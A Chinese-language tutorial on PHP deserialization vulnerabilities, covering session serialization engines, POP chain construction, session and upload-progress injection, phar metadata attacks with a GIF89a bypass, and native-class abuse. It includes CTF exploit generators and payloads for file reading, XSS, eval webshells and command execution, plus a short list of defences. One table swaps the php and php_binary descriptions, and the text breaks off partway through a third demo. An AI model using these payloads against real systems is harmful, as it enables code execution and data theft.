0%

在php.ini中存在三项配置项

1
2
3
4
session.save_path=""   --设置session的存储路径
session.save_handler="" --设定用户怎样存储session
session.auto_start --指定是否自动启动session,默认为0不启动
session.serialize_handler 用来指定序列化/反序列化的处理器名字。默认使用php

以上基本就是与php的session存储以及序列化相关的配置选项。
如果是用xmapp进行搭建环境的话,上述的配置大致如下:

1
2
3
4
session.save_path="D:\xampp\tmp"	表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files 表明session是以文件的方式来进行存储的
session.auto_start=0 表明默认不启动session
session.serialize_handler=php 表明session的默认序列化引擎使用的是php序列化引擎

session.serialize_handler=php 对于该配置,是用来指定session的序列化引擎,除了默认引擎,还存在其他引擎,不同引擎对应存储方式不同。

  • php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  • php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
  • php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
    当我设置session为$_SESSION["name"] = "123";时。不同的引擎保存的session文件内容如下
1
2
3
4
5
6
7
8
9
10
11
php: 
name|s:3:"123";
存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php_binary:
names:3:"123";
存储方式是,键名+竖线+经过serialize()函数序列处理的值

php_serialize(php>5.5.4):
a:1:{s:4:"name";s:3:"123";}
存储方式是,经过serialize()函数序列化处理的值

如果要修改为其他引擎,只需要添加代码:
ini_set(‘session.serialize_handler’, ‘需要设置的引擎’);

sample:

1
2
3
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();

另外因为这里例子设定是session以文件格式存储(默认以文件形式存储),存储的文件以sess_sessionid来进行命名,文件的内容就是session值序列化之后的内容。
依旧假设为xmapp配置环境,默认设置下

1
2
3
4
5
<?php
session_start()
$_SESSION['name'] = 'test';
var_dump();
?>

图片

这里phpsessid的值为jo86ud4jfvu81mbg28sl2s56c2,而在xampp/tmp下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2,文件的内容是name|s:4:"test";。name是键值,s:4:"test";serialize("test")的结果。

在php_serialize引擎下:

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'test';
var_dump();
?>

SESSION文件的内容是a:1:{s:4:"name";s:4:"test";}a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化
在php_binary引擎下

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'test';
var_dump();
?>

SESSION文件的内容是names:4:"test";。由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:4:"spoock"; 这里出现不可见字符,是因为ascii值为4的字符无法在网页上显示

前言:近期算是比较摸,这部分知识其实不算难,算是复习和总结下,我尽量以平和的语言总结。

1.1 序列化与反序列化

计算机相关知识总是喜欢创造些新名词,让人看起来觉得很高大上。其实序列化本质就是一种做数据格式转换的操作。

序列化:将变量(通常是数组和对象)转换为可保存或传输的字符串

反序列化:在适当的时候把这个字符串再转化成原来的变量(通常是数组和对象)使用。

这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。反序列化本身不是漏洞,但如果反序列化的内容可控,就容易导致漏洞

1.2 php魔术方法

PHP提供了许多“魔术”方法,这些方法由两个下划线前缀(__)标识。它们充当拦截器,在满足某些条件时会自动调用它们。 魔术方法提供了一些极其有用的功能。

常见的魔术方法有:

  1. __contruct() 当一个对象创建时被调用
  2. __destruct() 当一个对象销毁前被调用
  3. __sleep() 在对象被序列化前被调用
  4. __wakeup 将在反序列化之后立即被调用
  5. __toString 当一个对象被当做字符串使用时被调用
  6. __get(),__set() 当调用或设置一个类及其父类方法中未定义的属性
  7. __invoke() 调用函数的方式调用一个对象时的回应方法
  8. __call 和 __callStatic前者是调用类不存在的方法时执行,而后者是调用类不存在的静态方式方法时执行。
    https://segmentfault.com/a/1190000007250604

该文章对魔术方法的使用做了比较详细的解释,可以看下

1.3 序列化后的字符串形式

一个序列化的字符串:

1
2
3
O:4:"Test":2:{s:4:"test";s:2:"ok";s:3:"var";N;}
O代表这是一个对象,4代表对象名称的长度,2代表成员个数。
大括号中分别是:属性名类型、长度、名称;值类型、长度、值

另外对于类里的成员变量,我们一般都会给予相应的权限,权限不同,序列化后的字符串存在区别

1
2
3
4
5
6
7
8
9
<?php
class Test{
public $test;
}
$t = new Test();
$data = serialize($t);
echo($data);
file_put_contents("serialize.txt", $data);
//O:4:"Test":2:{s:4:"test";s:2:"ok";s:3:"var";N;}

图片

用010可以看到public的属性,序列化后的值就是属性的名称和对应的值

如果换成private

1
2
3
4
5
6
7
8
9
<?php
class Test{
private $test='ok';
private $var;
}
$t = new Test();
$data = serialize($t);
echo($data);
file_put_contents("serialize.txt", $data);

属性名变成了%00Test%00test%00Test%00var
也就是%00类名%00属性名

图片

protected

换成protected, 属性序列化之后又变了,属性名变成了%00*%00test%00*%00var

也就是%00*%00属性名

图片

注意到这些对构造序列化的字符串很关键,当我们直接将private protected的属性进行序列化,得到的序列化字符串的payload将无效,因为0x00的缘故。但是通过urlencode就可以避免

php反序列化漏洞

反序列化本身不是漏洞,但是如果类的某些属性可控,那么在反序列的过程中就会自动的执行魔术方法,从而导致安全问题。

所以,通常反序列化漏洞的成因在于代码中的 __unserialize(),__wakeup()等魔术方法接收的参数可控,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
// flag is in flag.php
class popdemo
{
private $filename = 'demo.php';
public function __wakeup()
{
$this->show($this->filename);
}
public function show($filename)
{
show_source($filename);
}
}

unserialize($_POST['a']);

上面的代码是接收一个参数a,然后将其反序列化,反序列化后,会调用__wakeup()方法。如果一切正常的话,这个方法是显示一下demo.php文件的源代码。但是参数a是可控的,也就是说对象a的属性是可控的。于是我们可以伪造一个filename来构造对象
EXP

1
2
3
4
5
6
7
<?php
class popdemo
{
private $filename = "flag.php";
}
$p = new popdemo();
echo urlencode(serialize($p));

当我们对象参数可控时,可以伪造对象的一些属性,从而实现任意文件读取等操作。
如果直接把这个exp跑出来payload拿去加载,正如之前所说, 如果我们没有urlencode,就会得到一个无效的payload

1
2
3
4
5
O:7:"popdemo":1:{s:17:
0x00之后会截断

这样是可以的:
a=O:7:"popdemo":1:{s:17:"%00popdemo%00filename";s:8:"flag.php";}

POP链的构造

1、什么是POP

面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。

2、POP链原理

POP链是反序列化漏洞利用中的一种常有方法,即寻找程序环境中已经定义或能够动态加载的对象中的属性或函数,将一些能够被调用的函数组合起来,达到目的的操作

用人话来说就是,根据已有的代码,构造一条完整的调用链,该调用链与原来代码的调用链一致,不过部分属性被我们所控制,从而达到攻击目的。构造的这条链就是POP链。

用一个实例说明如何构造POP链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
//flag is in flag.php
error_reporting(0);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}

class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString()
{
return $this->str['str']->source;
}

public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}

}

public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test
{
public $p;
public function __construct()
{
$this->p = array();
}

public function __get($key)
{
$function = $this->p;
return $function();
}
}

if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('pop3.php');
$show->_show();
}

首先理清思路,寻找最重要的魔术方法或者能获取flag的方法作为起点。

  1. 先看读文件的函数在哪:Read.file_get里面有一个file_get_contents Show._show()中有一个highlight_file
  2. 我们可控的是hello参数,调用unserialize()函数,即__wakeup()魔术方法,于是就只有Show类中存在该方法,但是注意到在Show.__wakeup()中存在一个正则匹配,这个正则匹配会将$this->source当成字符串来处理。也就是说会调用Show.__toString()方法。
  3. 定位到Show.__toString(),可以将source序列化为Show类的对象,就会调用__toString方法。__toString又会取一个str['str']->source,那么如果这个source不存在的话,就会执行__get()方法。
  4. __get()魔术方法会调用一个$p变量,这个也是可控的,然后会将p当做函数调用,此时触发了Read.__invoke()魔术方法
  5. __invoke魔术方法会触发file_get()函数,进而base64_encode(file_get_contents($value))最终达到读文件的目的。
    这样一条完整的链就分析完了
1
hello -> __wakeup -> Show._show -> Show.__toString -> (不存在属性)Test.__get() -> Read.__invoke

注意对象关系(hello是Show的对象,source属性是Test的对象,p属性是Read的对象),然后写一个POP链的对应EXP,就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class Read {
public $var="flag.php";

}

class Show
{
public $source;
public $str;
}

class Test
{
public $p;
}

$show = new Show();
$test = new Test();
$read = new Read();
$test->p = $read;
$show->source = $show;
$show->str['str'] = $test;

echo serialize($show);//在存在private和protected属性的情况下还是需要使用urlencode的。
?>

php的Session反序列化问题

了解session相关的反序列化问题之前,得先了解下session相关的机制。这里详细机制解释已经在上篇文章解释了,就不做过多解释。这里主要是针对于session反序列化漏洞原理进行解释

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确地反序列化。如果session值可控,则可通过构造特殊的session值导致反序列化漏洞

这里引用大佬博客里的一个例子:

session.php

1
2
3
4
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];

session2.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}
function __destruct() {
eval($this->hi);
}
}

session.php中的Session是可控的,但是反序列的魔术方法在session2.php中,而session中的参数无法直接可控。
这个时候,就可以利用两个的php的session存储机制的不同实现session的反序列化攻击

具体原理解释:

将payload用session.php,控制存储在指定文件中。

1
plainsession.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}
  1. 此时传入的数据会按照php_serialize来进行序列化,并存储到文件中。
  2. 再访问session2.php,页面输出spoock,成功执行我们构造的函数。因为在访问session2.php时,程序会按照php来反序列化SESSION中的数据(因为同域PHPSESSIONID是一样的,之前存的session也适用),此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。
    以上就是最简单的利用,也达到了攻击目的,但是局限性比较大。

条件如下:

  1. 两个文件session引擎配置不同
  2. 其中一个session可控
  3. 两个文件同域
    这里进一步查询资料,有一篇资料已经看不了就只能直接以我的口吻复述文章了。

当PHP中session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中 ,具体利用条件列举如下

  1. session.upload_progress.enabled = On (是否启用上传进度报告)
  2. session.upload_progress.cleanup = Off (是否上传完成之后删除session文件)
    符合条件时,上传文件进度的报告就会以写入到session文件中,所以我们可以设置一个与session.upload_progress.name同名的变量(默认名为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们就可以控制这个数据内容为我们的恶意payload。

关于具体实例,在浙大oj也就是jarvirsoj上有一道ctf题,这里搬运下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

容易发现,OowoO.__destruct()存在代码执行,但是没有可控参数进行利用。
然后发现符合上传程序Session漏洞的条件

图片

因为这里是直接对session取出内容然后进行反序列化,但是这里并没有对session内容的赋值操作,所以这里进行上传来写入

一个简单的上传demo

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="" />
<input type="file" name="file" />
<input type="submit" />
</form>

其中value就是我们自己构造的恶意payload
poc.php

1
2
3
4
5
6
7
8
9
<?php
class OowoO
{
public $mdzz;
}
$a = new OowoO();
$a->mdzz = "print_r(scandir(__dir__));";
echo serialize($a);
?>

这里查看环境phpinfo,禁用了一些函数。可以用print_r来进行绕过
再从phpinfo中的SCRIPT_FILENAME字段得到根目录地址:/opt/lampp/htdocs/,构造得到payload

1
2
3
O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r
(file_get_contents
('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));";}

phar反序列化

phar文件的结构:

phar文件都包含以下几个部分:

1
2
3
4
5
6
7
8
1. stub
phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
2. manifest
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
3. content
被压缩文件的内容
4. signature (可空)
签名,放在末尾。

简单介绍

首先介绍一下phar://phar://php://filterdata://协议那些一样,都是流包装,可以将一组php文件进行打包,可以创建默认执行的stub,而stub就是一个标志,他的格式是xxx<?php xxxxx;__HALT_COMPILER();?>,结尾是__HALT_COMPILER()'?>,不然phar识别不了phar文件

图片

简单例子:

php内置了一个phar类来处理相关操作

注意:这里要将php.ini里面的phar.readonly选项设置为Off并把分号去掉。

如果你在命令行运行PHP文件还是无法生成成功,请使用php -v查看php版本并在修改指定版本的php.ini。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> name='Threezh1'; //控制TestObject中的name变量为Threezh1
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

执行一下我们看到他会产生一个phar.phar文件,丢去二进制编辑器看一下
图片

我们确实看到了有反序列化后的值,对应的,就有反序列化的操作,而php大部分文件系统函数在通过phar://协议解析的时候,都会将meta-data进行反序列化,影响函数大多数是跟文件操作相关的函数

接下来进行反序列化

1
2
3
4
5
6
7
<?php
class TestObject{
function __destruct(){
echo $this->data;
}
}
include ('phar://phar.phar');

可以看到确实是有数据输出,因此可以看到这样是可以触发反序列化漏洞了

漏洞利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

    绕过文件格式限制

  • 上传html页面: upload.html
  • 后端校验页面:upload.php
  • 一个漏洞页面:index.php (存在file_exits(), eval()函数)
  • 一个上传目录: upload_file/
    upload.html:
1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<head>
<title>upload file</title>
</head>
<body>
<form action="http://127.0.0.1/upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
</html>

upload.php
仅允许格式为gif的文件上传。上传成功的文件会存储到upload_file目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];

if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}

index.php

1
2
3
4
5
6
7
8
9
10
11
<?php
class TestObject{
var $data = 'echo "Hello World";';
function __destruct()
{
eval($this -> data);
}
}
if ($_GET["file"]){
file_exists($_GET["file"]);
}

绕过思路:GIF格式验证可以通过在文件头部添加GIF89a绕过
我们可以构造一个php来生成phar.phar。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='phpinfo();'; //控制TestObject中的data为phpinfo()。
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

利用过程:

  • 一、生成一个phar.phar,修改后缀名为phar.gif
    图片
  • 二、上传到upload_file目录下
    图片

通过修改后缀名和文件头,能够绕过大部分的校验

原生类的利用

原生类,顾名思义是php自带的类。而之前我们反序列化常见的是自己构建的类,这里的利用对象是php自带的类。

报错类

Error

在PHP7版本中,因为Error中带有__toString方法,该方法会将传入给__toString的参数原封不动的输出到浏览器。在这么一个过程中可能会产生XSS

例如,有以下代码

1
2
3
4
<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);

当传入下方payload的时候

1
?a=Error&b=<script>alert("Lxxx");</script>

图片

Exception

与Error类似,Exception同样有__toString方法,因此测试代码和上方一样,传入以下payload,同样可以XSS

1
?a=Exception&b=<script>alert("Lxxx");</script>

图片

以上代码都能被执行,那我们可以尝试传一句话木马

1
?a=Exception&b=eval($_POST[1]);

如果说直接按照上面的写法传入一个写法,只会原封不动打印出来,所以我们需要把测试代码换一个写法。

1
2
3
4
<?php
$a = $_GET['a'];
$b = $_GET['b'];
eval("echo new $a($b());");

这时候传入的payload:
?a=Exception&b=system(‘whoami’)

图片

这里虽然报错了,但是可以rce,RCE的主要原因不是Exception这个类,而是因为PHP会先执行括号内的内容,如果执行括号内的内容没有报错,再执行括号外的报错,没有报错的部分的命令同样被正常执行。因此如果将上方测试代码的第四行eval删去,则无法进行RCE

遍历目录类

DirectoryIterator

DirectoryIterator类的__construct方法会构造一个迭代器,如果使用echo输出该迭代器,将会返回迭代器的第一项

例子:

1
2
3
4
<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);

传入payload:

1
?a=DirectoryIterator&b=.

图片

返回一个点,这里为啥返回点,建议去linux系统实际操作(因为linux里查看所有文件的第一个文件都是一个点.)

这个点代表是当前目录,如果我们想要匹配其余文件,可以使用glob协议

1
?a=DirectoryIterator&b=glob://flag*

图片

如果这个时候不知道flag文件名怎么办

如果这个时候不知道flag文件名怎么办,所以可以尝试用暴力搜索

1
?a=DirectoryIterator&b=glob://f[k-m]*

图片

glob协议同样是支持通配符,包括ascii码中的部分匹配,例如想要匹配大写字母,那么就写[@-[]表示ASCII码字符从@[都允许匹配,也就是匹配大写字母

FilesystemIterator

如果DirectoryIterator类被禁用了,还有FilesystemIterator类可以代替,使用方法和DirectoryIterator类差不多

图片

GlobIterator

GlobIterator和上方这两个类差不多,不过glob是GlobIterator类本身自带的,因此在遍历的时候,就不需要带上glob协议头了,只需要后面的相关内容

1
?a=GlobIterator&b=f[k-m]*

图片

SplFileObject

读取文件类

SplFileObject

SplFileObject类为文件提供了一个面向对象接口,说人话就是这个类可以用来读文件。

1
2
3
4
<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);

传payload进去:

1
?a=SplFileObject&b=flag.php

图片

SplFileObject这个类返回的仍然是一个迭代器,想要将内容完整的输出出来,最容易想到的自然是利用foreach遍历 ,这里可以看下官方文档对该类的__construct方法

图片

可以看到官方文档要求我们传入参数是一个文件名,而如果参数是文件名的话,我们可以尝试用伪协议

传入payload

1
?a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php

反射类

ReflectionClass

ReflectionClass反射类在PHP5新加入,继承自Reflector,它可以与已定义的类建立映射关系,通过反射类可以对类操作

反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))来执行命令

这里拿ctfshow的web109作例题

1
2
3
4
5
6
7
8
9
10
11
<?php 
highlight_file(__FILE__); 
error_reporting(0); 
if(isset($_GET['v1']) && isset($_GET['v2'])){ 
    $v1 = $_GET['v1']; 
    $v2 = $_GET['v2']; 
    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ 
            eval("echo new $v1($v2());"); 
    } 

?>

已知了flag在./fl36dg.txt,命令执行system(‘cat fl36dg.txt’)获取flag,所以应该传入如下参数

1
v1=ReflectionClass&v2=system("ls")

ReflectionMethod

和ReflectionClass一样

反序列化的防御

因为反序列化的缺陷可能导致远程代码执行等严重的攻击,所以我们需要对其进行防护:

  1. 对传入 unserilize() 的参数,进行严格地过滤。
  2. 在文件系统函数的参数可控时,进行严格地过滤。
  3. 严格检查上传文件内容,不能只是单纯地检查文件头(phar)
  4. 条件允许的情况下,禁用可执行系统命令、代码的危险函数。
  5. 注意不同类中的同名方法的编写,避免被用作反序列化的跳板。
  6. Session方面,一个是多文件间使用一种序列化引擎;二是尽量不要让session可控;三是保持session.upload_progress.cleanup = On (上传完成之后删除session文件)

PHP反序列化之pop链

POP链介绍

POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的

而构造pop链的要素就是要熟悉类里的成员变量以及魔术方法。关于魔术方法这里不做过多介绍,可以看下https://segmentfault.com/a/1190000007250604这篇文章

反序列化的常见起点

  • __wakeup 一定会调用

  • __destruct 一定会调用

  • __toString 当一个对象被反序列化后又被当做字符串使用

    反序列化的常见中间跳板

  • __toString 当一个对象被当做字符串使用

  • __get 读取不可访问或不存在属性时被调用

  • __set 当给不可访问或不存在属性赋值时被调用

  • __isset 对不可访问或不存在的属性调用isset()或empty()时被调用。形如 $this->$func();

    反序列化的常见终点

  • __call 调用不可访问或不存在的方法时被调用

  • call_user_func 一般php代码执行都会选择这里

  • call_user_func_array 一般php代码执行都会选择这里
    这里用三个demo来练习

DEMO1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
//flag is in flag.php
error_reporting(0);
class Read {
    public $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}
class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'Welcome'."<br>";
    }
    public function __toString()
    {
        return $this->str['str']->source;
    }
    public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source); 
        }
    }
    public function __wakeup()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $p;
    public function __construct()
    {
        $this->p = array();
    }

    public function __get($key)
    {
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['hello']))
{
    unserialize($_GET['hello']);
}
else
{
    $show = new Show('pop3.php');
    $show->_show();
}

接下来我们来分析构造POP链的过程,先看最后,get请求传入一个hello参数,然后对他进行反序列化。

  1. 我们要寻找危险的函数,比如这个DEMO中在Read对象中存在一个file_get(0方法,其中用了file_get_contents读文件,我们大概就懂了题目应该是要通过调用这个方法来读取我们的flag.php文件。
  2. 然后我们来观察每个对象的各种魔术方法,入口多为wakeup,destruct,tostring魔术方法中,我们可以发现Show对象中存在一个tostring魔术方法和一个wakeup魔术方法,在执行unserialize函数的时候会先触发wakeup方法
  3. wakeup魔术方法中对Show对象的source属性进行了一个正则匹配,对应的第二个参数本应为字符串,但是这里如果source属性是某个类的对象,就会触发tostring方法,tostring也是Show对象中的魔术方法,所以这里的source属性应为一个Show类的对象。
  4. tostring中,返回了当前对象的键为str的value值给source,如果这个value不存在,可能会触发__get()魔术方法。
  5. 我们接着寻找,发现在Test类中存在着__get()魔术方法,把当前对象的p属性赋给了function变量,并且以函数的形式去执行,所以如果这里的p属性是一个对象的话,就可以能调用__invoke()魔术方法
  6. 发现Read类中存在__invoke()魔术方法,其中调用了本类中的file_get函数,以var作为形参,所以这里的var应该为flag.php
    POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Read {
    public $var="flag.php";
}
class Show
{
    public $source;
    public $str;
}
class Test
{
    public $p;
}
$R=new Read();
$S=new Show();
$T=new Test();
$T->p=$R;
$S->str['str']=$T;
$S->source=$S;
echo urlencode(serialize($S));

DEMO2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function test1()
    {
            $this->mod1->test2();
    }
}
class funct
{
        public $mod1;
        public $mod2;
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo "flag:"."xxxxxxxxxxxx";
        }
}
$a = $_GET['string'];
unserialize($a);
?>
  1. 拿到代码,先寻找危险函数,发现在GetFlag类中存在get_flag()函数,输出flag,所以我们最终是需要通过调用GetFlag()中的get_flag()函数来输出我们的flag
  2. string1类中的tostring调用了自身str1属性的get_flag()方法,这里可以知道我们需要把string1的类的str1属性的值是GetFlag类的一个对象,并且需要调用到string1类的tostring这个方法才可以输出flag
  3. 继续往上看,func类的invoke魔术方法拼接了”字符串拼接”和自身的mod1属性的值给了自身的mod2属性,这里如果mod1属性的值是string1的对象,会触发string1对象的tostring方法
  4. 如果要触发func的invoke魔术方法,我们需要用函数的方式来调用func对象,这里可以发现funct中call魔术方法中以函数的形式调用了自身的mod1属性,如果这里的mod1属性是func的对象,就会触发func类中的invoke方法
  5. 需要调用到func类中的invoke方法,必须先调用到funct类中的call魔术方法,call魔术方法是要调用了不存在的方法才会触发,可以看到Call类中的test1方法调用了自身mod1属性下的test2方法,这里如果mod1是funct的一个对象,就可以触发funct的call方法
  6. 然后是start_gg类,,destruct魔术方法调用了自身mod1的test1方法,所以这里应该是个入口,我们需要先让他的mod1为Call类的一个对象
    POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new Call();
        }
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new funct();
        }
        public function test1()
    {
            $this->mod1->test2();
    }
}
class funct
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new func();
        }
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new string1();
        }
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1
{
        public $str1;
        public $str2;
        public function __construct()
        {
                $this->str1= new GetFlag();
        }
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo "flag:"."xxxxxxxxxxxx";
        }
}
$a = new start_gg();
echo urlencode(serialize($a));
?>

DEMO3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
highlight_file(__FILE__);
class A
{
  public $a;
  private $b;
  protected $c;
  public function __construct($a, $b, $c)
  {
    $this->a = $a;
    $this->b = $b;
    $this->c = $c;
  }
  protected function flag()
  {
    echo file_get_contents('/flag');
  }

  public function __call($name, $arguments)
  {
    call_user_func([$name, $arguments[0]]);
  }

  public function __destruct()
  {
    return 'this a:' . $this->a;
  }
